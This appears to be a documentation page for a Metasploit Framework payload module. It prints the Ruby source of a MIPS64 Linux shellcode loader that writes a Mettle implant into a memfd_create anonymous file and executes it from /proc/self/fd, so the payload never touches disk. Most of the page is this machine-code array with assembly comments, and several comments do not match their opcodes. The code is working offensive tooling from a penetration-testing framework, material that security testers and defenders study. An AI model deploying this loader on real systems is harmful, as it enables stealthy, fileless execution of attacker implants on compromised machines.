Module: Msf::Payload::Linux::Mips64::ElfLoader

Defined in:
lib/msf/core/payload/linux/mips64/elf_loader.rb

Overview

In memory loader used to execute Mettle ELF file. Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) Author: Diego Ledda <diego_leddarapid7.com> Resource and Credits: magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html MIPS64 conventions

Literal Zero: r0/$zero
Volatile: t0-t7
Parameters: a0-a3
Syscall offset: v0
Return Address: ra

Instance Method Summary collapse

Instance Method Details

#in_memory_load(payload) ⇒ Object



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/msf/core/payload/linux/mips64/elf_loader.rb', line 14

def in_memory_load(payload)
  size = payload.length
  size_h = size >> 16
  size_l = size & 0x0000ffff
  in_memory_loader = [
    # call next instruction to get relative address
    0x00001025,               #   move    v0,zero
    0x04510000,               #   bgezal  v0,8 <myself>
    0x00000000,               #   nop
    0x00000000,               #   nop
    # memfd_create("", MFD_CLOEXEC) = fd
    0x03e02025,               #   move    a0,ra
    0x27ff00b8,               #   addiu   ra,ra,92
    0x2419fffe,               #   li      t9,-2
    0x03202827,               #   nor     a1,t9,zero
    0x340214c2,               #   li      v0,0x14c2
    0x0101010c,               #   syscall 0x40404
    # write(fd, payload, payload_length)
    0x03e02825,               #   move    a1,ra
    (0x3c06 << 16 | size_h),  #   lui     a2,0x17
    (0x34c6 << 16 | size_l),  #   ori     a2,a2,0x2fb8
    0x00402025,               #   move    a0,v0
    0x0080c825,               #   move    t9,a0
    0x34021389,               #   li      v0,0x1389
    0x0101010c,               #   syscall 0x40404
    # custom implementation of itoa
    0x27e7fffe,               #   addiu   a3,ra,-2
    0x2418000a,               #   li      t8,10
    0x24050016,               #   li      a1,23
    0x13200011,               #   beqz    t9,98 <execve>
    0x00000000,               #   bnez    t8,60 <itoa+0x10>
    0x0338001a,               #   div     zero,t9,t8
    0x00000000,               #   break   0x7
    0x2401ffff,               #   li      at,-1
    0x17010004,               #   bne     t8,at,78 <itoa+0x28>
    0x3c018000,               #   lui     at,0x8000
    0x17210002,               #   bne     t9,at,78 <itoa+0x28>
    0x00000000,               #   nop
    0x00000000,               #   break   0x6
    0x0000c812,               #   mflo    t9
    0x0000c812,               #   mflo    t9
    0x00007810,               #   mfhi    t3
    0x25ef0030,               #   addiu   t3,t3,48
    0xa0ef0000,               #   sb      t3,0(a3)
    0x24a5ffff,               #   addiu   a1,a1,-1
    0x24e7ffff,               #   addiu   a3,a3,-1
    0x1000ffee,               #   b       50 <itoa>
    0x00e52022,               #   sub     a0,a3,a1
    0x2805ffff,               #   slti    a1,zero,-1
    0x2806ffff,               #   slti    a2,zero,-1
    0x340213c1,               #   li      v0,0xfab
    # execve('/proc/self/fd//////<fd>', 0, 0)
    0x0101010c,               #   syscall 0x40404
    0x2f70726f,               #   sltiu   s0,k1,29295
    0x632f7365,               #   daddi   t3,t9,29541
    0x6c662f66,               #   ldr     a2,12134(v1)
    0x642f2f2f,               #   daddiu  t3,at,12079
    0x2f2f2f2f,               #   sltiu   t3,t9,12079
    0x2f2f2f00,               #   sltiu   t3,t9,12032
  ].pack('N*')
  in_memory_loader
end